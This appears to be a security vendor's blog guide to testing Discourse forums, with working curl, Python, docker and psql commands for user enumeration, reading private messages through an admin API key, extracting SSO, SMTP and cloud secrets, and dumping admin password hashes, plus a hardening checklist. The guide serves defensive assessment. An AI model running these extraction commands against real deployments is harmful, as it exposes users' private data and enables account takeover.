Community Forum Security Testing

Discourse Security Testing: API Key, Admin Credentials, User Enumeration, and Database

📅 July 3, 2026 ⏱ 12 min read 🏷 Discourse, Community Forum Security, API Key, User Enumeration, SSO Bypass, PostgreSQL Credentials

Discourse is the most widely deployed open-source community forum platform, used by thousands of software projects, enterprises, and communities for public and private discussion. Its extensive REST API, admin email disclosure in /about.json, and SSO integration make it a rich target for security assessment. Key assessment areas: the /about.json endpoint exposes admin email addresses without authentication; Discourse API keys provide full access to all posts, private messages, user details, and admin functions; discourse.conf stores the PostgreSQL database password and Redis connection string; the users table contains bcrypt password hashes; and Discourse's SSO implementation can be bypassed if the sso_secret is weak or discoverable. This guide covers systematic Discourse security assessment.

Unauthenticated Information Disclosure
API Key Access and Admin User Enumeration
Configuration Credentials and Database Access
Discourse Security Hardening

Unauthenticated Information Disclosure

# Discourse — unauthenticated information disclosure
DISCOURSE_URL="https://discourse.example.com"

# /about.json — exposes admin email addresses and statistics without auth
curl -s "${DISCOURSE_URL}/about.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
about = d.get('about',{})
admins = about.get('admins',[])
mods = about.get('moderators',[])
print('Admin accounts:')
for a in admins:
    print(f'  {a.get(\"username\")} ({a.get(\"name\")})')
print(f'Moderators: {[m.get(\"username\") for m in mods]}')
print(f'Description: {about.get(\"description\",\"\")[:100]}')
stats = about.get('stats',{})
print(f'Users: {stats.get(\"users_count\")} topics={stats.get(\"topic_count\")} posts={stats.get(\"post_count\")}')
" 2>/dev/null

# Public user profiles — username enumeration via /u/ endpoint
USERNAME="admin"
curl -s "${DISCOURSE_URL}/u/${USERNAME}.json" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
if user:
    print(f'User: {user.get(\"username\")} ({user.get(\"name\")})')
    print(f'Email: {user.get(\"email\",\"(hidden)\")}')
    print(f'Created: {user.get(\"created_at\")} last_seen={user.get(\"last_seen_at\")}')
    print(f'Admin: {user.get(\"admin\")} moderator={user.get(\"moderator\")}')
else:
    print('User not found')
" 2>/dev/null

# Check if site is in login_required mode
curl -s -o /dev/null -w "%{http_code}" "${DISCOURSE_URL}/latest.json" 2>/dev/null
# 200 = public access, 302/403 = login required

API Key Access and Admin User Enumeration

# Discourse API key authentication and admin data access
DISCOURSE_URL="https://discourse.example.com"
API_KEY="your-discourse-api-key"
API_USERNAME="system"  # Use 'system' for system-level API key or admin username

# List all users — requires admin API key
curl -s "${DISCOURSE_URL}/admin/users/list/active.json?page=0&per_page=100" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
users=json.load(sys.stdin)
print(f'Active users: {len(users)}')
for u in users[:20]:
    print(f'  [{u.get(\"id\")}] {u.get(\"username\")} email={u.get(\"email\")}')
    print(f'    Admin: {u.get(\"admin\")} trust_level={u.get(\"trust_level\")} last_seen={u.get(\"last_seen_at\")}')
    print(f'    IP: {u.get(\"ip_address\")} registration_ip={u.get(\"registration_ip_address\")}')
" 2>/dev/null

# Read all private messages — requires admin API key
curl -s "${DISCOURSE_URL}/topics/private-messages/admin.json" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
topics = d.get('topic_list',{}).get('topics',[])
print(f'Private message threads: {len(topics)}')
for t in topics[:10]:
    print(f'  [{t.get(\"id\")}] {t.get(\"title\")} by={t.get(\"last_poster_username\")}')
" 2>/dev/null

# Site settings via API — includes SSO secret and integration tokens
curl -s "${DISCOURSE_URL}/admin/site_settings.json" \
  -H "Api-Key: ${API_KEY}" \
  -H "Api-Username: ${API_USERNAME}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
settings = d.get('site_settings',[])
sensitive = ['sso_secret','discourse_connect_secret','google_oauth2_client_secret',
             'github_client_secret','smtp_password','s3_secret_access_key']
for s in settings:
    if s.get('setting') in sensitive:
        print(f'{s.get(\"setting\")}: {s.get(\"value\")}')
" 2>/dev/null

Configuration Credentials and Database Access

# Discourse discourse.conf and database credential extraction

# discourse.conf — PostgreSQL and Redis credentials
grep -E "db_password|db_username|db_host|redis_password|secret_key_base" \
  /var/discourse/containers/app.yml 2>/dev/null
# db_password — PostgreSQL database password
# redis_password — Redis server password
# secret_key_base — Rails secret key for session signing and encryption

# Or in production via docker
docker exec app grep -E "DISCOURSE_DB_PASSWORD|DISCOURSE_REDIS_PASSWORD" \
  /etc/discourse.conf 2>/dev/null 2>/dev/null

# PostgreSQL access — user data including bcrypt hashes
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT id, username, email, password_hash, salt,
       admin, moderator, trust_level, last_seen_at, ip_address
FROM users
WHERE admin = true
LIMIT 20;
EOF
# password_hash — bcrypt password hash (cost factor 12+ on modern Discourse)

# SSO secret from database settings — enables DiscourseSSO bypass
PGPASSWORD="db_password" psql -U discourse -h localhost discourse 2>/dev/null << 'EOF'
SELECT name, value FROM site_settings
WHERE name IN ('sso_secret', 'discourse_connect_secret',
               'smtp_password', 'google_oauth2_client_secret',
               'github_client_secret', 's3_secret_access_key');
EOF

Discourse Security Hardening

Discourse Security Hardening Checklist:

Control /about.json admin email disclosure — Discourse's /about.json endpoint exposes the usernames and names of all admin accounts to unauthenticated visitors; while email addresses are not shown by default, admin usernames enable targeted attacks; review the information disclosed via /about.json and consider whether public admin disclosure is acceptable; Discourse does not provide a built-in mechanism to hide /about.json — use web server rules to restrict access to authenticated users if needed; for private communities, enable login_required which restricts all content including /about.json to authenticated users
Protect Discourse API keys with strict scoping and expiry — Discourse API keys should be scoped to the minimum required user and permissions; system-scoped API keys provide full admin access to all data, user accounts, and configuration settings; create per-integration API keys with specific username scoping rather than using the system key; Discourse supports key descriptions to track which integration uses each key; audit all active API keys via Admin > API and revoke unused or legacy keys; API keys do not expire by default — implement regular rotation
Secure the DiscourseConnect/SSO secret — Discourse's SSO implementation (DiscourseConnect) uses an HMAC-SHA256 signature with a shared secret (sso_secret) to authenticate users from an external identity provider; a leaked sso_secret allows creating arbitrary sessions for any user account including admins by crafting valid SSO payloads; use a randomly generated high-entropy secret (32+ characters); store it securely and rotate it if it may have been exposed; the secret is stored in the site_settings database table and in app.yml
Secure app.yml and Docker container access — Discourse's docker configuration in app.yml contains the database password, Redis password, SMTP credentials, and the secret_key_base used for session signing; restrict access to app.yml to the discourse system user; secret_key_base exposure enables forging Rails session cookies for any Discourse user; the secret_key_base and other secrets should be injected via environment variables at container runtime rather than hardcoded in app.yml
Enable login_required for internal or private Discourse communities — Discourse by default allows unauthenticated users to browse all public posts, read topics, and access /about.json and user profiles; for private communities, enable login_required via Admin > Settings > Login; this restricts all content browsing to authenticated users and prevents enumeration of users, posts, and admin accounts without credentials

Security Test	Method	Risk
Admin email disclosure via /about.json	GET /about.json without authentication — returns admin and moderator usernames, names, and avatars; enables identification of admin accounts for targeted credential attacks and social engineering	Medium
Admin user enumeration and email extraction via API	GET /admin/users/list with API key — returns all user accounts with email addresses, registration IPs, last seen IPs, admin/moderator status, and trust levels	Critical
Private message content access via admin API	GET /topics/private-messages with admin API key — returns all private message threads for any user; private PMs between users and admin are fully readable	Critical
SSO secret extraction enabling account takeover	Read site_settings table — sso_secret/discourse_connect_secret; craft HMAC-signed SSO payload for any user account; enables admin account takeover via DiscourseConnect bypass	Critical
app.yml credential extraction	Read /var/discourse/containers/app.yml — db_password, redis_password, smtp_password, secret_key_base; secrets enable database access, session forgery, email spoofing	Critical

Automate Discourse Security Testing

Ironimo tests Discourse deployments for unauthenticated admin disclosure via /about.json, API key user and private message enumeration, SSO secret extraction for DiscourseConnect bypass, app.yml credential access, secret_key_base session forgery testing, user enumeration via /u/ endpoint, plugin security assessment, login_required bypass testing, and bcrypt hash extraction from the users table.

Start free scan

Table of Contents

Unauthenticated Information Disclosure

API Key Access and Admin User Enumeration

Configuration Credentials and Database Access

Discourse Security Hardening

Automate Discourse Security Testing